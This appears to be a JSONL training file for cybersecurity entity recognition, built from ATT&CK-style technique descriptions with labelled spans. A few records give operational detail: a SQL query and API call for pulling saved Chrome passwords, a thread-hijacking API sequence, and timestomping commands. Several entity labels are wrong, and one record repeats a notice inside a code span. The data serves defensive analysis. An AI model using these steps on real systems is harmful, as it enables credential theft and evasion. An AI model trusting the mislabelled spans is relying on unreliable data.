+{"text": "Adversaries may abuse Microsoft Outlook rules to obtain persistence on a compromised system. Outlook rules allow a user to define automated behavior to manage email messages. A benign rule might, for example, automatically move an email to a particular folder in Outlook if it contains specific words from a specific sender. Malicious Outlook rules can be created that can trigger code execution when an adversary sends a specifically crafted email to that user.\n\nOnce malicious rules have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious rules will execute when an adversary sends a specifically crafted email to the user.", "spans": {"SYSTEM: Outlook": [[32, 39], [93, 100], [263, 270], [335, 342], [549, 556]], "SYSTEM: Microsoft Outlook": [[22, 39]], "ORGANIZATION: Microsoft": [[22, 31]], "VULNERABILITY: code execution": [[381, 395]]}, "info": {"source": "apt_reports", "name": "Outlook Rules"}}
+{"text": "Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may also span both native defenses as well as supplemental capabilities installed by users and administrators.\n\nAdversaries may also impair routine operations that contribute to defensive hygiene, such as blocking users from logging out, preventing a system from shutting down, or disabling or modifying the update process. Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components. These restrictions can further enable malicious operations as well as the continued propagation of incidents.", "spans": {}, "info": {"source": "apt_reports", "name": "Impair Defenses"}}
+{"text": "Adversaries may compromise cloud accounts that can be used during targeting. Adversaries can use compromised cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, Microsoft OneDrive, or AWS S3 buckets for Exfiltration to Cloud Storage or to Upload Tools. Cloud accounts can also be used in the acquisition of infrastructure, such as Virtual Private Servers or Serverless infrastructure. Additionally, cloud-based messaging services such as Twilio, SendGrid, AWS End User Messaging, AWS SNS (Simple Notification Service), or AWS SES (Simple Email Service) may be leveraged for spam or Phishing. Compromising cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.\n\nA variety of methods exist for compromising cloud accounts, such as gathering credentials via Phishing for Information, purchasing credentials from third-party sites, conducting Password Spraying attacks, or attempting to Steal Application Access Tokens. Prior to compromising cloud accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. In some cases, adversaries may target privileged service provider accounts with the intent of leveraging a Trusted Relationship between service providers and their customers.", "spans": {"SYSTEM: AWS": [[237, 240], [509, 512], [533, 536], [575, 578]], "ORGANIZATION: Microsoft": [[214, 223]]}, "info": {"source": "apt_reports", "name": "Cloud Accounts"}}
+{"text": "Adversaries may compromise email accounts that can be used during targeting. Adversaries can use compromised email accounts to further their operations, such as leveraging them to conduct Phishing for Information, Phishing, or large-scale spam email campaigns. Utilizing an existing persona with a compromised email account may engender a level of trust in a potential victim if they have a relationship with, or knowledge of, the compromised persona. Compromised email accounts can also be used in the acquisition of infrastructure (ex: Domains).\n\nA variety of methods exist for compromising email accounts, such as gathering credentials via Phishing for Information, purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials. Prior to compromising email accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Adversaries may target compromising well-known email accounts or domains from which malicious spam or Phishing emails may evade reputation-based email filtering rules.\n\nAdversaries can use a compromised email account to hijack existing email threads with targets of interest.", "spans": {}, "info": {"source": "apt_reports", "name": "Email Accounts"}}
+{"text": "An adversary may add additional local or domain groups to an adversary-controlled account to maintain persistent access to a system or domain.\n\nOn Windows, accounts may use the `net localgroup` and `net group` commands to add existing users to local and domain groups. On Linux, adversaries may use the `usermod` command for the same purpose.\n\nFor example, accounts may be added to the local administrators group on Windows devices to maintain elevated privileges. They may also be added to the Remote Desktop Users group, which allows them to leverage Remote Desktop Protocol to log into the endpoints in the future. Adversaries may also add accounts to VPN user groups to gain future persistence on the network. On Linux, accounts may be added to the sudoers group, allowing them to persistently leverage Sudo and Sudo Caching for elevated privileges. \n\nIn Windows environments, machine accounts may also be added to domain groups. This allows the local SYSTEM account to gain privileges on the domain.", "spans": {"TOOL: Remote Desktop Protocol": [[553, 576]], "SYSTEM: Windows": [[147, 154], [416, 423], [859, 866]], "SYSTEM: VPN": [[655, 658]], "SYSTEM: Linux": [[272, 277], [717, 722]]}, "info": {"source": "apt_reports", "name": "Additional Local or Domain Groups"}}
+{"text": "Adversaries may upload malware to third-party or adversary controlled infrastructure to make it accessible during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, and a variety of other malicious content. Adversaries may upload malware to support their operations, such as making a payload available to a victim network to enable Ingress Tool Transfer by placing it on an Internet accessible web server.\n\nMalware may be placed on infrastructure that was previously purchased/rented by the adversary (Acquire Infrastructure) or was otherwise compromised by them (Compromise Infrastructure). Malware can also be staged on web services, such as GitHub or Pastebin; hosted on the InterPlanetary File System (IPFS), where decentralized content storage makes the removal of malicious files difficult; or saved on the blockchain as smart contracts, which are resilient against takedowns that would affect traditional infrastructure.\n\nAdversaries may upload backdoored files, such as software packages, application binaries, virtual machine images, or container images, to third-party software stores, package libraries, extension marketplaces, or repositories (ex: GitHub, CNET, AWS Community AMIs, Docker Hub, PyPi, NPM). By chance encounter, victims may directly download/install these backdoored files via User Execution. Masquerading, including typo-squatting legitimate software, may increase the chance of users mistakenly executing these files.", "spans": {"SYSTEM: GitHub": [[689, 695], [1205, 1211]], "SYSTEM: Docker": [[1239, 1245]], "SYSTEM: AWS": [[1219, 1222]]}, "info": {"source": "apt_reports", "name": "Upload Malware"}}
+{"text": "Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.\n\nSupply chain compromise can take place at any stage of the supply chain including:\n\n* Manipulation of development tools\n* Manipulation of a development environment\n* Manipulation of source code repositories (public or private)\n* Manipulation of source code in open-source dependencies\n* Manipulation of software update/distribution mechanisms\n* Compromised/infected system images (removable media infected at the factory) \n* Replacement of legitimate software with modified versions\n* Sales of modified/counterfeit products to legitimate distributors\n* Shipment interdiction\n\nWhile supply chain compromise can impact any component of hardware or software, adversaries looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels. Adversaries may limit targeting to a desired victim set or distribute malicious software to a broad set of consumers but only follow up with specific victims. Popular open-source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency.\n\nIn some cases, adversaries may conduct “second-order” supply chain compromises by leveraging the access gained from an initial supply chain compromise to further compromise a software component. This may allow the threat actor to spread to even more victims.", "spans": {"VULNERABILITY: supply chain compromise": [[733, 756], [1404, 1427]]}, "info": {"source": "apt_reports", "name": "Supply Chain Compromise"}}
+{"text": "Adversaries may attempt to exploit a weakness in an Internet-facing host or system to initially access a network. The weakness in the system can be a software bug, a temporary glitch, or a misconfiguration.\n\nExploited applications are often websites/web servers, but can also include databases (like SQL), standard services (like SMB or SSH), network device administration and management protocols (like SNMP and Smart Install), and any other system with Internet-accessible open sockets. On ESXi infrastructure, adversaries may exploit exposed OpenSLP services; they may alternatively exploit exposed VMware vCenter servers. Depending on the flaw being exploited, this may also involve Exploitation for Defense Evasion or Exploitation for Client Execution.\n\nIf an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs (e.g., via the Cloud Instance Metadata API), exploit container host access via Escape to Host, or take advantage of weak identity and access management policies.\n\nAdversaries may also exploit edge network infrastructure and related appliances, specifically targeting devices that do not support robust host-based defenses.\n\nFor websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.", "spans": {"TOOL: SSH": [[337, 340]], "SYSTEM: ESXi": [[492, 496]], "SYSTEM: SMB": [[330, 333]], "SYSTEM: VMware": [[602, 608]], "SYSTEM: vCenter": [[609, 616]]}, "info": {"source": "apt_reports", "name": "Exploit Public-Facing Application"}}
+{"text": "Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable Pass the Ticket. Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as “realms”, there are three basic participants: client, service, and Key Distribution Center (KDC). Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting.  Adversaries may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.\n\nOn Windows, the built-in <code>klist</code> utility can be used to list and analyze cached Kerberos tickets.", "spans": {"SYSTEM: Kerberos": [[35, 43], [82, 90], [126, 134], [219, 227], [419, 427], [626, 634], [797, 805]], "SYSTEM: Windows": [[187, 194], [709, 716]]}, "info": {"source": "apt_reports", "name": "Steal or Forge Kerberos Tickets"}}
+{"text": "Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications and services that store passwords to make them easier for users to manage and maintain, such as password managers and cloud secrets vaults. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.", "spans": {}, "info": {"source": "apt_reports", "name": "Credentials from Password Stores"}}
+{"text": "Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. Firewall rules may also already exist to permit traffic to these services.\n\nWeb service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection.", "spans": {}, "info": {"source": "apt_reports", "name": "Exfiltration Over Web Service"}}
+{"text": "An adversary may use legitimate remote access tools to establish an interactive command and control channel within a network. Remote access tools create a session between two trusted hosts through a graphical interface, a command line interaction, a protocol tunnel via development or management software, or hardware-level access such as KVM (Keyboard, Video, Mouse) over IP solutions. Desktop support software (usually graphical interface) and remote management software (typically command line interface) allow a user to control a computer remotely as if they are a local user inheriting the user or software permissions. This software is commonly used for troubleshooting, software installation, and system management. Adversaries may similarly abuse response features included in EDR and other defensive tools that enable remote access.\n\nRemote access tools may be installed and used post-compromise as an alternate communications channel for redundant access or to establish an interactive remote desktop session with the target system. It may also be used as a malware component to establish a reverse connection or back-connect to a service or adversary-controlled system.\n\nInstallation of many remote access tools may also include persistence (e.g., the software's installation routine creates a Windows Service). Remote access modules/features may also exist as part of otherwise existing software (e.g., Google Chrome’s Remote Desktop).", "spans": {"SYSTEM: Chrome": [[1422, 1428]], "SYSTEM: Windows": [[1305, 1312]], "ORGANIZATION: Google": [[1415, 1421]]}, "info": {"source": "apt_reports", "name": "Remote Access Tools"}}
+{"text": "Adversaries may acquire domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free.\n\nAdversaries may use acquired domains for a variety of purposes, including for Phishing, Drive-by Compromise, and Command and Control. Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD). Typosquatting may be used to aid in delivery of payloads via Drive-by Compromise. Adversaries may also use internationalized domain names (IDNs) and different character sets (e.g. Cyrillic, Greek, etc.) to execute \"IDN homograph attacks,\" creating visually similar lookalike domains used to deliver malware to victim machines.\n\nDifferent URIs/URLs may also be dynamically generated to uniquely serve malicious content to victims (including one-time, single use domain names).\n\nAdversaries may also acquire and repurpose expired domains, which may be potentially already allowlisted/trusted by defenders based on an existing reputation/history.\n\nDomain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars.\n\nIn addition to legitimately purchasing a domain, an adversary may register a new domain in a compromised environment. For example, in AWS environments, adversaries may leverage the Route53 domain service to register a domain and create hosted zones pointing to resources of the threat actor’s choosing.", "spans": {"SYSTEM: AWS": [[1806, 1809]]}, "info": {"source": "apt_reports", "name": "Domains"}}
+{"text": "An adversary may compress or encrypt data that is collected prior to exfiltration using 3rd party libraries. Many libraries exist that can archive data, including Python rarfile , libzip , and zlib . Most libraries include functionality to encrypt and/or compress data.\n\nSome archival libraries are preinstalled on systems, such as bzip2 on macOS and Linux, and zip on Windows. Note that the libraries are different from the utilities. The libraries can be linked against when compiling, while the utilities require spawning a subshell, or a similar execution mechanism.", "spans": {"SYSTEM: macOS": [[341, 346]], "SYSTEM: Windows": [[369, 376]], "SYSTEM: Python": [[163, 169]], "SYSTEM: Linux": [[351, 356]]}, "info": {"source": "apt_reports", "name": "Archive via Library"}}
+{"text": "Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nThread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL. A handle to an existing victim process is first created with native Windows API calls such as <code>OpenThread</code>. At this point the process can be suspended then written to, realigned to the injected code, and resumed via <code>SuspendThread </code>, <code>VirtualAllocEx</code>, <code>WriteProcessMemory</code>, <code>SetThreadContext</code>, then <code>ResumeThread</code> respectively.\n\nThis is very similar to Process Hollowing but targets an existing process rather than creating a process in a suspended state.  \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process.", "spans": {"SYSTEM: Windows": [[518, 525]]}, "info": {"source": "apt_reports", "name": "Thread Execution Hijacking"}}
+{"text": "An adversary performs C2 communications using multiple layers of encryption, typically (but not exclusively) tunneling a custom encryption scheme within a protocol encryption scheme such as HTTPS or SMTPS.", "spans": {}, "info": {"source": "apt_reports", "name": "Multilayer Encryption"}}
+{"text": "Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.\n\nRenaming abusable system utilities to evade security monitoring is also a form of Masquerading.", "spans": {}, "info": {"source": "apt_reports", "name": "Masquerading"}}
+{"text": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. \n\nWithin the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses hooking to redirect the code as necessary in order to communicate with the OS. \n\nA list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* <code>%WINDIR%\\AppPatch\\sysmain.sdb</code> and\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb</code>\n\nCustom databases are stored in:\n\n* <code>%WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom</code> and\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom</code>\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to Bypass User Account Control (UAC and RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).\n\nUtilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.  Shims can also be abused to establish persistence by continuously being invoked by affected programs.", "spans": {"FILEPATH: %WINDIR%\\AppPatch\\sysmain.sdb</code>": [[1022, 1058]], "FILEPATH: %WINDIR%\\AppPatch\\custom": [[1198, 1222]], "FILEPATH: %WINDIR%\\AppPatch\\AppPatch64\\Custom</code>": [[1225, 1267]], "SYSTEM: Windows 10": [[510, 520]], "SYSTEM: Windows Defender": [[1939, 1955]], "SYSTEM: Windows": [[141, 148], [473, 480], [510, 517], [660, 667], [969, 976], [1382, 1389], [1939, 1946]], "SYSTEM: Windows XP": [[473, 483]], "ORGANIZATION: Microsoft": [[131, 140]]}, "info": {"source": "apt_reports", "name": "Application Shimming"}}
+{"text": "Adversaries may search compromised systems to find and obtain insecurely stored credentials. These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. Shell History), operating system or application-specific repositories (e.g. Credentials in Registry),  or other specialized files/artifacts (e.g. Private Keys).", "spans": {}, "info": {"source": "apt_reports", "name": "Unsecured Credentials"}}
+{"text": "Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation. A port monitor can be set through the <code>AddMonitor</code> API call to set a DLL to be loaded at startup. This DLL can be located in <code>C:\\Windows\\System32</code> and will be loaded and run by the print spooler service, `spoolsv.exe`, under SYSTEM level permissions on boot. \n\nAlternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to the `Driver` value of an existing or new arbitrarily named subkey of <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors</code>. The Registry key contains entries for the following:\n\n* Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port", "spans": {"FILEPATH: C:\\Windows\\System32": [[269, 288]], "SYSTEM: Windows": [[272, 279]], "VULNERABILITY: privilege escalation": [[105, 125]]}, "info": {"source": "apt_reports", "name": "Port Monitors"}}
+{"text": "Adversaries may modify mail and mail application data to remove evidence of their activity. Email applications allow users and other programs to export and delete mailbox data via command line tools or use of APIs. Mail application data can be emails, email metadata, or logs generated by the application or operating system, such as export requests. \n\nAdversaries may manipulate emails and mailbox data to remove logs, artifacts, and metadata, such as evidence of Phishing/Internal Spearphishing, Email Collection, Mail Protocols for command and control, or email-based exfiltration such as Exfiltration Over Alternative Protocol. For example, to remove evidence on Exchange servers adversaries have used the <code>ExchangePowerShell</code> PowerShell module, including <code>Remove-MailboxExportRequest</code> to remove evidence of mailbox exports. On Linux and macOS, adversaries may also delete emails through a command line utility called <code>mail</code>  or use AppleScript to interact with APIs on macOS.\n\nAdversaries may also remove emails and metadata/headers indicative of spam or suspicious activity (for example, through the use of organization-wide transport rules) to reduce the likelihood of malicious emails being detected by security products.", "spans": {"TOOL: PowerShell": [[742, 752]], "SYSTEM: macOS": [[864, 869], [1007, 1012]], "SYSTEM: Linux": [[854, 859]]}, "info": {"source": "apt_reports", "name": "Clear Mailbox Data"}}
+{"text": "Adversaries may use a Login Hook to establish persistence executed upon user logon. A login hook is a plist file that points to a specific script to execute with root privileges upon user logon. The plist file is located in the <code>/Library/Preferences/com.apple.loginwindow.plist</code> file and can be modified using the <code>defaults</code> command-line utility. This behavior is the same for logout hooks where a script can be executed upon user logout. All hooks require administrator permissions to modify or create hooks. \n\nAdversaries can add or insert a path to a malicious script in the <code>com.apple.loginwindow.plist</code> file, using the <code>LoginHook</code> or <code>LogoutHook</code> key-value pair. The malicious script is executed upon the next user login. If a login hook already exists, adversaries can add additional commands to an existing login hook. There can be only one login and logout hook on a system at a time.\n\n**Note:** Login hooks were deprecated in 10.11 version of macOS in favor of Launch Daemon and Launch Agent", "spans": {"SYSTEM: macOS": [[1007, 1012]], "MALWARE: Hook": [[28, 32]]}, "info": {"source": "apt_reports", "name": "Login Hook"}}
+{"text": "Adversaries may gain access and continuously communicate with victims by injecting malicious content into systems through online network traffic. Rather than luring victims to malicious payloads hosted on a compromised website (i.e., Drive-by Target followed by Drive-by Compromise), adversaries may initially access victims through compromised data-transfer channels where they can manipulate traffic and/or inject their own content. These compromised online network channels may also be used to deliver additional payloads (i.e., Ingress Tool Transfer) and other data to already compromised systems.\n\nAdversaries may inject content to victim systems in various ways, including:\n\n* From the middle, where the adversary is in-between legitimate online client-server communications (**Note:** this is similar but distinct from Adversary-in-the-Middle, which describes AiTM activity solely within an enterprise environment) \n* From the side, where malicious content is injected and races to the client as a fake response to requests of a legitimate online server \n\nContent injection is often the result of compromised upstream communication channels, for example at the level of an internet service provider (ISP) as is the case with \"lawful interception.\"", "spans": {}, "info": {"source": "apt_reports", "name": "Content Injection"}}
+{"text": "Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. \n\nThere are many different ways to inject code into a process, many of which abuse legitimate functionalities. These implementations exist for every major OS but are typically platform specific. \n\nMore sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.", "spans": {"VULNERABILITY: process injection": [[394, 411]]}, "info": {"source": "apt_reports", "name": "Process Injection"}}
+{"text": "Adversaries may exfiltrate data to a webhook endpoint rather than over their primary command and control channel. Webhooks are simple mechanisms for allowing a server to push data over HTTP/S to a client without the need for the client to continuously poll the server. Many public and commercial services, such as Discord, Slack, and `webhook.site`, support the creation of webhook endpoints that can be used by other services, such as Github, Jira, or Trello. When changes happen in the linked services (such as pushing a repository update or modifying a ticket), these services will automatically post the data to the webhook endpoint for use by the consuming application. \n\nAdversaries may link an adversary-owned environment to a victim-owned SaaS service to achieve repeated Automated Exfiltration of emails, chat messages, and other data. Alternatively, instead of linking the webhook endpoint to a service, an adversary can manually post staged data directly to the URL in order to exfiltrate it.\n\nAccess to webhook endpoints is often over HTTPS, which gives the adversary an additional level of protection. Exfiltration leveraging webhooks can also blend in with normal network traffic if the webhook endpoint points to a commonly used SaaS application or collaboration service.", "spans": {"SYSTEM: Slack": [[323, 328]], "SYSTEM: Jira": [[444, 448]], "SYSTEM: Discord": [[314, 321]]}, "info": {"source": "apt_reports", "name": "Exfiltration Over Webhook"}}
+{"text": "Bash keeps track of the commands users type on the command-line with the \"history\" utility. Once a user logs out, the history is flushed to the user’s <code>.bash_history</code> file. For each user, this file resides at the same location: <code>~/.bash_history</code>. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials.", "spans": {}, "info": {"source": "apt_reports", "name": "Bash History"}}
+{"text": "Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. Port Knocking), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.\n\nAdversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r , is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.\n\nOn network devices, adversaries may use crafted packets to enable Network Device Authentication for standard services offered by the device such as telnet.  Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities.  Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives.  To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage Patch System Image due to the monolithic nature of the architecture.\n\nAdversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.", "spans": {}, "info": {"source": "apt_reports", "name": "Traffic Signaling"}}
+{"text": "Adversaries may leverage Valid Accounts to log directly into accessible cloud hosted compute infrastructure through cloud native methods. Many cloud providers offer interactive connections to virtual infrastructure that can be accessed through the Cloud API, such as Azure Serial Console, AWS EC2 Instance Connect, and AWS System Manager..\n\nMethods of authentication for these connections can include passwords, application access tokens, or SSH keys. These cloud native methods may, by default, allow for privileged access on the host with SYSTEM or root level access. \n\nAdversaries may utilize these cloud native methods to directly access virtual infrastructure and pivot through an environment. These connections typically provide direct console access to the VM rather than the execution of scripts (i.e., Cloud Administration Command).", "spans": {"TOOL: SSH": [[442, 445]], "SYSTEM: AWS": [[289, 292], [319, 322]], "SYSTEM: Azure": [[267, 272]]}, "info": {"source": "apt_reports", "name": "Direct Cloud VM Connections"}}
+{"text": "Adversaries may acquire credentials from web browsers by reading files specific to the target browser.   \n\nWeb browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.\n\nFor example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, <code>AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data</code> and executing a SQL query: <code>SELECT action_url, username_value, password_value FROM logins;</code>. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function <code>CryptUnprotectData</code>, which uses the victim’s cached logon credentials as the decryption key. \n \nAdversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc. \n\nAdversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.\n\nAfter acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).", "spans": {"TOOL: expand": [[1315, 1321]], "SYSTEM: Edge": [[1023, 1027]], "SYSTEM: Safari": [[1015, 1021]], "SYSTEM: Chrome": [[503, 509], [565, 571]], "SYSTEM: Windows": [[436, 443], [800, 807]], "ORGANIZATION: Google": [[496, 502], [558, 564]]}, "info": {"source": "apt_reports", "name": "Credentials from Web Browsers"}}
+{"text": "Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system. Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands.\n\nSimilarly, on Linux systems adversaries may abuse trusted binaries such as <code>split</code> to proxy execution of malicious commands.", "spans": {"SYSTEM: Windows": [[403, 410], [516, 523]], "SYSTEM: Linux": [[612, 617]], "ORGANIZATION: Microsoft": [[193, 202], [271, 280], [470, 479]]}, "info": {"source": "apt_reports", "name": "System Binary Proxy Execution"}}
+{"text": "**This technique has been deprecated and should no longer be used.**\n\nThe <code>source</code> command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways <code>source /path/to/filename [arguments]</code> or <code>.**This technique has been deprecated and should no longer be used.** /path/to/filename [arguments]</code>. Take note of the space after the \".\". Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell's environment.\n\nAdversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand.", "spans": {}, "info": {"source": "apt_reports", "name": "Source"}}
+{"text": "Windows systems use a common method to look for required DLLs to load into a program.  Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence. \n\nAdversaries may perform DLL preloading, also called binary planting attacks,  by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL.  Adversaries may use this behavior to cause the program to load a malicious DLL. \n\nAdversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation.   \n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.\n\nPrograms that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.", "spans": {"TOOL: replace": [[1532, 1539]], "SYSTEM: Windows": [[0, 7], [125, 132], [416, 423]], "VULNERABILITY: privilege escalation": [[201, 221], [996, 1016], [1247, 1267]]}, "info": {"source": "apt_reports", "name": "DLL Search Order Hijacking"}}
+{"text": "When operating systems boot up, they can start programs or applications called services that perform background system functions.  A service's configuration information, including the file path to the service's executable, is stored in the Windows Registry. \n\nAdversaries may install a new service that can be configured to execute at startup by using utilities to interact with services or by directly modifying the Registry. The service name may be disguised by using a name from a related operating system or benign software with Masquerading. Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through Service Execution.", "spans": {"SYSTEM: Windows": [[240, 247]]}, "info": {"source": "apt_reports", "name": "New Service"}}
+{"text": "Adversaries may modify file time attributes to hide new files or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder and blend malicious files with legitimate files.\n\nIn Windows systems, both the `$STANDARD_INFORMATION` (`$SI`) and `$FILE_NAME` (`$FN`) attributes record times in a Master File Table (MFT) file. `$SI` (dates/time stamps) is displayed to the end user, including in the File System view, while `$FN` is dealt with by the kernel.\n\nModifying the `$SI` attribute is the most common method of timestomping because it can be modified at the user level using API calls. `$FN` timestomping, however, typically requires interacting with the system kernel or moving or renaming a file.\n\nAdversaries modify timestamps on files so that they do not appear conspicuous to forensic investigators or file analysis tools. In order to evade detections that rely on identifying discrepancies between the `$SI` and `$FN` attributes, adversaries may also engage in “double timestomping” by modifying times on both attributes simultaneously.\n\nIn Linux systems and on ESXi servers, threat actors may attempt to perform timestomping using commands such as `touch -a -m -t <timestamp> <filename>` (which sets access and modification times to a specific value) or `touch -r <filename> <filename>` (which sets access and modification times to match those of another file).\n\nTimestomping may be used along with file name Masquerading to hide malware and tools.", "spans": {"SYSTEM: ESXi": [[1200, 1204]], "SYSTEM: Windows": [[309, 316]], "SYSTEM: Linux": [[1179, 1184]]}, "info": {"source": "apt_reports", "name": "Timestomp"}}
